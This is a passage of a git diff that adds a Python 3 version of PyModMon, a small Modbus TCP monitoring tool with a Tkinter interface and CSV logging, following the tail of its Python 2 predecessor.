Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the 